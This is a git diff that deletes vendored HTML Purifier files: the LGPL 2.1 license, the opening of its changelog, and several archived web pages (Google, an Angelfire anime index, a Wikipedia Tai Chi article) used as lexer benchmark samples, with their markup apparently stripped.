granted herein. -You are not responsible for enforcing compliance by third parties with -this License. - - 11. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Library at all. For example, if a patent -license would not permit royalty-free redistribution of the Library by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Library. - -If any portion of this section is held invalid or unenforceable under any -particular circumstance, the balance of the section is intended to apply, -and the section as a whole is intended to apply in other circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 12. If the distribution and/or use of the Library is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Library under this License may add -an explicit geographical distribution limitation excluding those countries, -so that distribution is permitted only in or among countries not thus -excluded. In such case, this License incorporates the limitation as if -written in the body of this License. - - 13. The Free Software Foundation may publish revised and/or new -versions of the Lesser General Public License from time to time. -Such new versions will be similar in spirit to the present version, -but may differ in detail to address new problems or concerns. - -Each version is given a distinguishing version number. If the Library -specifies a version number of this License which applies to it and -"any later version", you have the option of following the terms and -conditions either of that version or of any later version published by -the Free Software Foundation. If the Library does not specify a -license version number, you may choose any version ever published by -the Free Software Foundation. - - 14. If you wish to incorporate parts of the Library into other free -programs whose distribution conditions are incompatible with these, -write to the author to ask for permission. For software which is -copyrighted by the Free Software Foundation, write to the Free -Software Foundation; we sometimes make exceptions for this. Our -decision will be guided by the two goals of preserving the free status -of all derivatives of our free software and of promoting the sharing -and reuse of software generally. - - NO WARRANTY - - 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO -WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. -EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR -OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY -KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE -LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME -THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN -WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY -AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU -FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR -CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE -LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING -RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A -FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF -SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH -DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Libraries - - If you develop a new library, and you want it to be of the greatest -possible use to the public, we recommend making it free software that -everyone can redistribute and change. You can do so by permitting -redistribution under these terms (or, alternatively, under the terms of the -ordinary General Public License). - - To apply these terms, attach the following notices to the library. It is -safest to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least the -"copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -Also add information on how to contact you by electronic and paper mail. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the library, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - library `Frob' (a library for tweaking knobs) written by James Random Hacker. - - , 1 April 1990 - Ty Coon, President of Vice - -That's all there is to it! - - vim: et sw=4 sts=4 + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! + + vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/NEWS b/vendor/ezyang/htmlpurifier/NEWS deleted file mode 100644 index 1cc374472b..0000000000 --- a/vendor/ezyang/htmlpurifier/NEWS +++ /dev/null @@ -1,1246 +0,0 @@ -NEWS ( CHANGELOG and HISTORY ) HTMLPurifier -||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| - -= KEY ==================== - # Breaks back-compat - ! Feature - - Bugfix - + Sub-comment - . Internal change -========================== - -4.13.0, released 2020-06-28 -! Add %HTML.Forms directive, which lets you accept forms in user - HTML without requiring full %HTML.Trusted. Note that forms can - be (trivially) used to setup phishing; e.g., an attacker can - use CSS absolute positioning to overlay a form on top of a login - element, so please be sure to use this with care! Fixes #213. - Thanks Mateusz Turcza for contributing this feature. -! tr@bgcolor attribute is now supported. Thanks Kieran Brahney - for this enhancement. -- Further improvements to PHP 6.4 support, contributed by Witold - Wasiczko and Eloy Lafuente. -- Fix PSR-0 compatibility. Thanks Jordi Boggiano for contributing - part of this fix. -- Fix bug with purifyArray where it doesn't work on empty arrays. - Thanks Fräntz Miccoli for the fix. -- Reduce amount of maintenance scripts included in distribution - packages. Thanks Sergei Morozov for this patch. -- Remove leading zeros unless if it is only a zero, fixes #239. Thanks - lubomirbartos for this fix. -- Correct type hinting of maybeGet*, fixes #240. Thanks Anders Jenbo - for this fix. - -4.12.0, released 2019-10-27 -! PHP 7.4 is supported, thank you Witold Wasiczko, Mateuz Turcza and - Edi Modrić -- PHPDocs for HTMLModule::addElement() and Bool attr are fixed (thanks - Mateusz) - -4.11.0, released 2019-07-14 -# SafeScripting now matches case-sensitively against its whitelist (previously it was - case-insensitive.) Thanks Dimitri Gritsajuk - for reporting. -! New directive %Core.AllowParseManyTags which allows parsing of many nested tags. - Thanks M. Suzuki for contributing the patch. -! purifyArray now supports multidimensional arrays. Thanks - Sandro Miguel Marques for contributing this patch. -! initial and inherit settings available for width, height, and the min-/max- - versions thereof. Thanks Michael Kliewe for contributing - this patch. -! More color names are supported. Thanks Daijobou for contributing. -- Compatibility fixes for PHP 7.3, including new CI for PHP 7.3 - (thank you Lukas Neumann ) and removal of - reserved words in our constants (thanks Darko Hrgovic -- Compatibility fixes for HHVM. Thanks Mateusz Turcza for contributing - this fix. -- HTML Purifier now never defines __autoload, fixing #196. Thanks - Michael Kliewe for reporting. -- In some situations, Config.php would report an undefined index: class - error; this has been fixed. Thanks DiLong Fa for contributing - this fix. -- We no longer produce -
edwardzyang@gmail.com | Personalized Home | Search History | My Account | Sign out
Google

-
Web    Images    Groups    News    Froogle    Local    more »
 
  Advanced Search
  Preferences
  Language Tools


Advertising Programs - Business Solutions - About Google

©2006 Google

- - diff --git a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html deleted file mode 100644 index bb683ceedc..0000000000 --- a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html +++ /dev/null @@ -1,131 +0,0 @@ - - -Anime Digi-Lib Index - - - -
- -
- - - - - - - - - - - - - - - - « - - Previous | - Top 100 | - Next - - - » - - - - -
- - - - - - - - - - -
 Search:The WebAngelfire    Planet
-
- Edit your Site show site directoryBrowse Sites hosted by angelfire
  - Vonagehosted by angelfire
-
-
- - -
- - - -
- - - - - -
-

May 1, 2000

-

Pop Culture

-

by. H. Finkelstein

- -
-

Welcome to the Anime Digi-Lib, a virtual index to anime on the - internet. This site strives to house a comprehensive index to both personal - and commercial websites and provides reviews to these sites. We hope to - be a gateway for people who've never imagined they'd ever be interested - in Japanese Animation.

- - - - - - -
-

 

-

 

- -
- - - - - - - - - - - - - - - - -
Search term:
Case-sensitive - -yes
exactfuzzy
-
- - -
- - - - - -
What is better, subtitled or dubbed anime?
Subtitled
Current results
Free - Web Polls
- -
- - - - - diff --git a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html deleted file mode 100644 index 9264c5cf54..0000000000 --- a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html +++ /dev/null @@ -1,543 +0,0 @@ - - - - - - - - Tai Chi Chuan - Wikipedia, the free encyclopedia - - - - - - - - - - - - - - - - - -
-
-
- - -
Registration for Wikimania 2006 is open.   
-

Tai Chi Chuan

-
-

From Wikipedia, the free encyclopedia

- -
-
Jump to: navigation, search
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
???
- -
-
-
Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918 -
-
Enlarge
-Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918
-
-
-
-
Chinese Name
Hanyu PinyinTijqun
Wade-GilesT'ai4 Chi2 Ch'an2
Simplified Chinese???
Traditional Chinese???
Cantonesetaai3 gik6 kyun4
Japanese Hiragana???????
Korean???
VietnameseThi C?c Quy?n
-

Tai Chi Chuan, T'ai Chi Ch'an or Taijiquan (Traditional Chinese: ???; Simplified Chinese: ???; pinyin: Tijqun; literally "supreme ultimate fist"), commonly known as Tai Chi, T'ai Chi, or Taiji, is an internal Chinese martial art. There are different styles of T'ai Chi Ch'an, although most agree they are all based on the system originally taught by the Chen family to the Yang family starting in 1820. It is often promoted and practiced as a martial arts therapy for the purposes of health and longevity, (some recent medical studies support its effectiveness). T'ai Chi Ch'an is considered a soft style martial art, an art applied with as complete a relaxation or "softness" in the musculature as possible, to distinguish its theory and application from that of the hard martial art styles which use a degree of tension in the muscles.

- -

Variations of T'ai Chi Ch'an's basic training forms are well known as the slow motion routines that groups of people practice every morning in parks across China and other parts of the world. Traditional T'ai Chi training is intended to teach awareness of one's own balance and what affects it, awareness of the same in others, an appreciation of the practical value in one's ability to moderate extremes of behavior and attitude at both mental and physical levels, and how this applies to effective self-defense principles.

- - - - -
-
-

Contents

-
- -
-

- - -

-

Overview

-

Historically, T'ai Chi Ch'an has been regarded as a martial art, and its traditional practitioners still teach it as one. Even so, it has developed a worldwide following among many thousands of people with little or no interest in martial training for its aforementioned benefits to health and health maintenance. Some call it a form of moving meditation, and T'ai Chi theory and practice evolved in agreement with many of the principles of traditional Chinese medicine. Besides general health benefits and stress management attributed to beginning and intermediate level T'ai Chi training, many therapeutic interventions along the lines of traditional Chinese medicine are taught to advanced T'ai Chi students.

-

T'ai Chi Ch'an as physical training is characterized by its requirement for the use of leverage through the joints based on coordination in relaxation rather than muscular tension in order to neutralize or initiate physical attacks. The slow, repetitive work involved in that process is said to gently increase and open the internal circulation (breath, body heat, blood, lymph, peristalsis, etc.). Over time, proponents say, this enhancement becomes a lasting effect, a direct reversal of the constricting physical effects of stress on the human body. This reversal allows much more of the students' native energy to be available to them, which they may then apply more effectively to the rest of their lives; families, careers, spiritual or creative pursuits, hobbies, etc.

- -

The study of T'ai Chi Ch'an involves three primary subjects:

-
    -
  • Health - an unhealthy or otherwise uncomfortable person will find it difficult to meditate to a state of calmness or to use T'ai Chi as a martial art. T'ai Chi's health training therefore concentrates on relieving the physical effects of stress on the body and mind.
  • -
  • Meditation - the focus meditation and subsequent calmness cultivated by the meditative aspect of T'ai Chi is seen as necessary to maintain optimum health (in the sense of effectively maintaining stress relief or homeostasis) and in order to use it as a soft style martial art.
  • -
  • Martial art - the ability to competently use T'ai Chi as a martial art is said to be proof that the health and meditation aspects are working according to the dictates of the theory of T'ai Chi Ch'an.
  • - -
-

In its traditional form (many modern variations exist which ignore at least one of the above requirements) every aspect of its training has to conform with all three of the aforementioned categories.

-

The Mandarin term "T'ai Chi Ch'an" translates as "Supreme Ultimate Boxing" or "Boundless Fist". T'ai Chi training involves learning solo routines, known as forms, and two person routines, known as pushing hands, as well as acupressure-related manipulations taught by traditional schools. T'ai Chi Ch'an is seen by many of its schools as a variety of Taoism, and it does seemingly incorporate many Taoist principles into its practice (see below). It is an art form said to date back many centuries (although not reliably documented under that name before 1850), with precursor disciplines dating back thousands of years. The explanation given by the traditional T'ai Chi family schools for why so many of their previous generations have dedicated their lives to the study and preservation of the art is that the discipline it seems to give its students to dramatically improve the effects of stress in their lives, with a few years of hard work, should hold a useful purpose for people living in a stressful world. They say that once the T'ai Chi principles have been understood and internalized into the bodily framework the practitioner will have an immediately accessible "toolkit" thereby to improve and then maintain their health, to provide a meditative focus, and that can work as an effective and subtle martial art for self-defense.

-

